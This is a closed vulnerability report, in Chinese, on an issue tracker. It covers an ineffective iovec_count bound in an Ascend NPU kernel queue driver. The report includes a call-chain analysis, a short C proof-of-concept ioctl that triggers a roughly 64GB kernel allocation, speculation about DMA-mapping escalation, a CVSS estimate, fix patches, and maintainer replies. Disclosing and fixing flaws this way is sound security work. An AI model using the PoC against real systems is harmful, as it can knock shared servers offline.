已关闭
【driver】VULN-DF-QUEUE-001: QUEUE_MAX_IOVEC_NUM 上界无效导致内核内存耗尽 #134
佳祺创建于  8月14日关闭于  19 天前
佳祺
佳祺
8月14日 创建

【driver】VULN-DF-QUEUE-001: QUEUE_MAX_IOVEC_NUM 上界无效导致内核内存耗尽

1. 漏洞概述

属性
漏洞 ID VULN-DF-QUEUE-001
类型 整数溢出 (CWE-190)
严重性 High
置信度 80
文件 src/sdk_driver/queue/host/queue_fops.c
函数 queue_get_vector (行 185), queue_drv_que_chan_create (行 395)
入口点 QUEUE_ENQUEUE_CMD ioctl (_IOW('Q', 2, struct queue_ioctl_enqueue))
设备节点 /dev/hi-queue-manage

核心问题: QUEUE_MAX_IOVEC_NUM 被定义为 ((~0U) - 1) = 0xFFFFFFFE(约 43 亿),使得 queue_para_check() 中对 iovec_count 的上界检查形同虚设。用户态可传入接近 UINT_MAXiovec_count,触发两个独立的安全问题:

  1. 内核内存耗尽 (DoS): 行 185 的 vector_len 计算产生约 64GB 的分配请求
  2. DMA 资源分配绕过: 行 395 的 iovec_count + 1 在特定值下整数回绕为 0

2. 攻击路径分析

2.1 完整调用链

用户态 ioctl(fd, QUEUE_ENQUEUE_CMD, &arg)
  └─ queue_fop_enqueue()                    [queue_fops.c:525]
       ├─ copy_from_user(&para, arg)        [行 537] ← 从用户空间复制参数
       ├─ uda_devid_to_phy_devid()          [行 543] ← devid 验证
       ├─ queue_get_device()                [行 554] ← 获取设备实例
       └─ queue_drv_enqueue()               [行 559]
            ├─ queue_para_check(para)       [行 423] ← ★ 无效检查点
            │    └─ iovec_count > QUEUE_MAX_IOVEC_NUM  [行 263]
            │       仅拒绝 0xFFFFFFFF,允许 0xFFFFFFFE
            │
            ├─ queue_drv_que_chan_create()  [行 430] ← ★ 溢出点 #1
            │    └─ queue_chan_dma_create(que_chan, para->iovec_count + 1)  [行 395]
            │
            └─ queue_get_vector(para)       [行 436] ← ★ 溢出点 #2
                 ├─ vector_len = sizeof(buff_iovec) + (u64)iovec_count * sizeof(iovec_info)  [行 185]
                 ├─ queue_kvalloc(vector_len, 0)    [行 186] ← 巨量内核分配
                 ├─ copy_from_user(vector, para->vector, vector_len)  [行 192]
                 └─ queue_check_vector(vector, iovec_count)  [行 198]

2.2 数据流追踪

[用户态] struct queue_ioctl_enqueue.iovec_count (unsigned int, 32位)
    │
    ├─→ copy_from_user() 复制到内核栈           [queue_fops.c:537]
    │
    ├─→ queue_para_check(): iovec_count > 0xFFFFFFFE ?  [行 263]
    │    └─ 仅当 iovec_count == 0xFFFFFFFF 时拒绝
    │    └─ iovec_count ∈ [0, 0xFFFFFFFE] 全部通过
    │
    ├─→ [路径A] queue_drv_que_chan_create()     [行 395]
    │    └─ queue_chan_dma_create(que_chan, iovec_count + 1)
    │       └─ unsigned int 加法: 0xFFFFFFFF + 1 = 0 (回绕)
    │       └─ 但 0xFFFFFFFF 已被拒绝; 0xFFFFFFFE + 1 = 0xFFFFFFFF (无回绕)
    │
    └─→ [路径B] queue_get_vector()              [行 185]
         └─ vector_len = sizeof(buff_iovec) + (u64)iovec_count × sizeof(iovec_info)
         └─ u64 转换防止乘法溢出,但结果本身极大
         └─ queue_kvalloc(vector_len) → 内核 OOM

2.3 关键数据结构

// queue_ioctl.h:35 - ioctl 参数结构
struct queue_ioctl_enqueue {
    struct sched_published_event_info event_info;  // 事件信息
    unsigned int devid;          // 设备 ID
    unsigned int qid;            // 队列 ID
    unsigned int type;           // 内存类型
    int time_out;                // 超时
    unsigned int iovec_count;    // ★ 用户控制的 iovec 数量
    struct buff_iovec *vector;   // ★ 用户空间指针
};

// ascend_hal_define.h:253 - iovec 描述符 (16 字节)
struct iovec_info {
    void *iovec_base;            // 8 bytes
    unsigned long long len;      // 8 bytes
};

// ascend_hal_define.h:259 - iovec 缓冲区头
struct buff_iovec {
    void *context_base;          // 8 bytes
    unsigned long long context_len; // 8 bytes
    unsigned int count;          // 4 bytes (+ 4 padding)
    struct iovec_info ptr[];     // 柔性数组
};
// sizeof(struct buff_iovec) ≈ 24 字节

// ascend_hal_define.h:258 - 无效的上界常量
#define QUEUE_MAX_IOVEC_NUM ((~0U) - 1)  // = 0xFFFFFFFE = 4,294,967,294

3. PoC 概念验证思路

3.1 攻击向量 A: 内核内存耗尽 (DoS)

触发条件: iovec_count = 0xFFFFFFFE (通过检查的最大值)

分配大小计算:

vector_len = sizeof(struct buff_iovec) + (u64)0xFFFFFFFE × sizeof(struct iovec_info)
           = 24 + 4,294,967,294 × 16
           = 24 + 68,719,476,704
           = 68,719,476,728 字节
           ≈ 64 GB

PoC 伪代码:

#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>

#define QUEUE_IOC_MAGIC 'Q'
#define QUEUE_ENQUEUE_CMD _IOW(QUEUE_IOC_MAGIC, 2, struct queue_ioctl_enqueue)

// 复制内核结构定义
struct queue_ioctl_enqueue {
    /* ... event_info 填充 ... */
    unsigned int devid;
    unsigned int qid;
    unsigned int type;
    int time_out;
    unsigned int iovec_count;
    struct buff_iovec *vector;
};

int main() {
    int fd = open("/dev/hi-queue-manage", O_RDWR);
    if (fd < 0) return 1;

    struct queue_ioctl_enqueue para;
    memset(&para, 0, sizeof(para));

    // 设置有效 devid(需枚举可用设备)
    para.devid = 0;
    para.qid = 0;
    para.type = 0;  // QUEUE_BUFF

    // ★ 关键: 设置为通过检查的最大值
    para.iovec_count = 0xFFFFFFFE;  // QUEUE_MAX_IOVEC_NUM

    // 分配一个最小的有效 vector 头(用户空间)
    // 实际 copy_from_user 会尝试读取 64GB,
    // 但内核 kvalloc 先执行,已经触发 DoS
    struct buff_iovec *vec = malloc(sizeof(struct buff_iovec));
    vec->context_base = NULL;
    vec->context_len = 0;
    vec->count = 0xFFFFFFFE;
    para.vector = vec;

    // 设置有效的 event_info
    para.event_info.msg = malloc(64);
    para.event_info.msg_len = 64;

    // 触发 ioctl - 内核将尝试分配 64GB
    ioctl(fd, QUEUE_ENQUEUE_CMD, &para);

    return 0;
}

预期效果:

  • 内核 queue_kvalloc() 尝试分配 ~64GB 内存
  • 在内存有限的系统上触发 OOM Killer
  • 可能导致内核 panic 或系统冻结
  • 即使分配失败(返回 NULL),也已经消耗了大量 CPU 周期在内存管理子系统中

3.2 攻击向量 B: DMA 资源分配整数回绕

触发条件分析:

行 395 的表达式 para->iovec_count + 1 中,iovec_countunsigned int

iovec_count 值 是否通过检查 iovec_count + 1 结果 影响
0xFFFFFFFF ❌ 被拒绝 0 (回绕) 完全绕过 DMA 分配
0xFFFFFFFE ✅ 通过 0xFFFFFFFF DMA 分配极大值
正常值 (如 100) ✅ 通过 101 正常行为

关键发现: 精确的零回绕 (iovec_count = 0xFFFFFFFF → 0) 被 queue_para_check 阻止。但存在以下绕过可能性:

  1. queue_chan_dma_create 内部实现未知: 如果该函数内部对参数做了截断(如转为 u16u8),0xFFFFFFFF 传入后仍可能产生小值分配
  2. 执行顺序利用: queue_drv_que_chan_create(行 430)在 queue_get_vector(行 436)之前调用。这意味着 DMA 资源分配先于巨量内存分配执行,即使后续 kvalloc 失败,DMA 资源已被不当分配
  3. 竞态条件: 如果 queue_chan_dma_create 内部使用共享资源计数器,0xFFFFFFFF 的 DMA 请求可能导致计数器溢出,影响其他进程

3.3 攻击向量 C: copy_from_user 大量读取

行 192 的 ka_base_copy_from_user(vector, para->vector, vector_len)kvalloc 成功后,会尝试从用户空间读取 vector_len 字节。如果用户空间映射了恶意页面:

用户空间: para->vector 指向 mmap 的区域
  ├─ 前几页: 有效的 buff_iovec 数据
  └─ 后续页: 恶意构造的 iovec_info 条目
       └─ 每个 iovec_info.iovec_base 指向任意内核地址
       └─ 后续 queue_check_vector 仅检查 NULL 和 len==0
       └─ queue_drv_vector_add 将这些地址加入 DMA 列表

这可能导致任意内核地址的 DMA 映射,构成更严重的信息泄露或权限提升漏洞。


4. 影响评估

4.1 直接影响

影响维度 评级 说明
可用性 (DoS) 🔴 严重 单次 ioctl 调用即可触发 ~64GB 内核分配,导致系统 OOM
完整性 🟡 中等 DMA 资源分配参数异常可能导致资源管理不一致
机密性 🟡 中等 通过构造 vector 数据可能实现任意地址 DMA 映射

4.2 影响范围

  • 受影响组件: 华为昇腾 (Ascend) NPU 驱动队列管理模块
  • 攻击面: 本地用户态进程,需要对 /dev/hi-queue-manage 设备节点有 ioctl 权限
  • 多租户影响: 在云/容器环境中,一个租户的恶意进程可通过此漏洞影响同一物理机上的所有租户

4.3 CVSS 评估 (估算)

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:H
  • 攻击向量: 本地 (Local)
  • 攻击复杂度: 低 (Low) — 单次 ioctl 调用
  • 权限要求: 低 (Low) — 需要设备访问权限
  • 用户交互: 无 (None)
  • 影响范围: 变化 (Changed) — 影响整个系统
  • 机密性: 低 (Low)
  • 完整性: 低 (Low)
  • 可用性: 高 (High)

估算评分: 7.7 (High)


5. 利用前提条件

5.1 必要条件

  1. 设备节点访问权限: 攻击者需要对 /dev/hi-queue-manage 字符设备有读写权限

    • 通常属于 root 或特定用户组(如 davinci / ascend
    • 在容器环境中可能通过设备映射暴露
  2. HDC 会话初始化: queue_drv_enqueue 在行 418 检查 hdc_session[para->devid] >= 0

    • 攻击者需先通过 QUEUE_HOST_COMMON_OP_CMD (QUEUE_INIT) 初始化 HDC 会话
    • 这需要先调用 queue_drv_host_inithdcdrv_kernel_connect
  3. 有效设备 ID: para->devid 必须通过 uda_devid_to_phy_devid 转换且 phy_devid < MAX_DEVICE

  4. 有效队列 ID: para->qid < MAX_SURPORT_QUEUE_NUM

5.2 充分条件

  • 在 AI 训练/推理服务器上,用户态驱动库(如 CANN SDK)通常以非特权用户运行
  • 如果系统配置了设备节点的宽松权限(如 chmod 666),任何本地用户均可利用
  • 在虚拟化/容器化部署中,设备直通可能将此攻击面暴露给隔离的租户

5.3 利用难度

因素 评估
构造 ioctl 参数 简单 — 结构体定义公开在头文件中
绕过参数检查 简单 — 仅设置 iovec_count = 0xFFFFFFFE
触发 DoS 简单 — 单次系统调用
触发代码执行 困难 — 需要进一步利用 DMA 映射链

6. 修复建议

6.1 紧急修复 (P0): 设置合理的 iovec_count 上限

// 修复前 (ascend_hal_define.h:258)
#define QUEUE_MAX_IOVEC_NUM ((~0U) - 1)  // 0xFFFFFFFE — 无效

// 修复后: 根据实际业务需求设置合理上限
#define QUEUE_MAX_IOVEC_NUM 1024  // 或根据硬件 DMA 通道限制确定

理由: 实际 AI 推理/训练场景中,单次 enqueue 操作的 iovec 数量远低于此值。建议参考硬件 DMA 描述符表的最大深度来确定上限。

6.2 防御性修复: 在分配前增加溢出检查

STATIC struct buff_iovec *queue_get_vector(struct queue_ioctl_enqueue *para)
{
    struct buff_iovec *vector = NULL;
    u64 vector_len;
    int ret;

    // ★ 新增: 分配大小上限检查
    if (para->iovec_count > QUEUE_MAX_IOVEC_NUM) {
        queue_err("iovec_count %u exceeds limit %u\n",
                  para->iovec_count, QUEUE_MAX_IOVEC_NUM);
        return NULL;
    }

    vector_len = (u64)sizeof(struct buff_iovec) +
                 (u64)para->iovec_count * sizeof(struct iovec_info);

    // ★ 新增: 分配大小合理性检查
    if (vector_len > QUEUE_MAX_VECTOR_BYTES) {  // 如 16MB
        queue_err("vector_len %llu too large\n", vector_len);
        return NULL;
    }

    vector = (struct buff_iovec *)queue_kvalloc(vector_len, 0);
    // ...
}

6.3 修复 DMA 创建中的整数溢出

// queue_fops.c:395 修复前
ret = queue_chan_dma_create(que_chan, para->iovec_count + 1);

// 修复后: 使用安全加法
if (check_add_overflow(para->iovec_count, 1, &dma_count)) {
    queue_err("iovec_count overflow\n");
    return NULL;
}
ret = queue_chan_dma_create(que_chan, dma_count);

6.4 纵深防御: 限制内核分配大小

// 在 queue_kvalloc 包装函数中增加上限
static inline void *queue_kvalloc(u64 size, gfp_t flags)
{
    if (size > QUEUE_MAX_ALLOC_SIZE)  // 如 64MB
        return NULL;
    return kvmalloc(size, flags);
}

6.5 修复优先级

修复项 优先级 工作量 说明
降低 QUEUE_MAX_IOVEC_NUM P0 < 1h 根本修复,一行改动
queue_get_vector 分配上限 P1 < 1h 纵深防御
iovec_count + 1 溢出检查 P1 < 1h 消除潜在回绕
queue_kvalloc 全局上限 P2 2-4h 需评估所有调用点

7. 附录: 执行时序分析

时间线 (queue_drv_enqueue 函数内):

T1: queue_para_check()          ← iovec_count=0xFFFFFFFE 通过
T2: queue_drv_que_chan_create() ← DMA 资源分配 (iovec_count+1 = 0xFFFFFFFF)
T3: queue_get_vector()          ← 尝试分配 64GB 内核内存
    T3a: queue_kvalloc(64GB)    ← 可能触发 OOM / 分配失败
    T3b: copy_from_user(64GB)   ← 如果 T3a 成功,大量用户空间读取
    T3c: queue_check_vector()   ← 遍历 43 亿个 iovec 条目 (CPU 耗尽)
T4: queue_drv_vector_add()      ← 将 iovec 加入 DMA 列表

注意: T2 在 T3 之前执行。即使 T3 的内存分配失败导致函数返回错误,T2 中已分配的 DMA 资源(以 0xFFFFFFFF 为参数)可能已经对系统状态产生了不可逆影响。需要确认 queue_chan_destroy 在错误路径中是否正确清理了 T2 分配的资源。


报告生成时间: 2026-07-29
分析工具: 静态代码审计 + 数据流追踪
分析范围: queue_fops.c 及相关头文件

likedislike
ad_cx成员
8月17日 评论:

你好,感谢关注和挖掘,npu驱动对于用户参数用作内存申请的size,统一规划用cgroup机制管控内存上限,我们将进一步确认该控制机制能否完全覆盖本问题描述

likedislike
ad_cx成员
8月19日 评论:

你好,对于该导致oom的路径,queue_kvalloc中携带__KA_GFP_ACCOUNT标志,通过cgroup管控

likedislike
PPAN成员
19 天前 将 ad_cx 设为负责人
Aad_cx成员
19 天前 issue状态由 待办的 改变为 已完成
Aad_cx成员
19 天前 关闭了 issue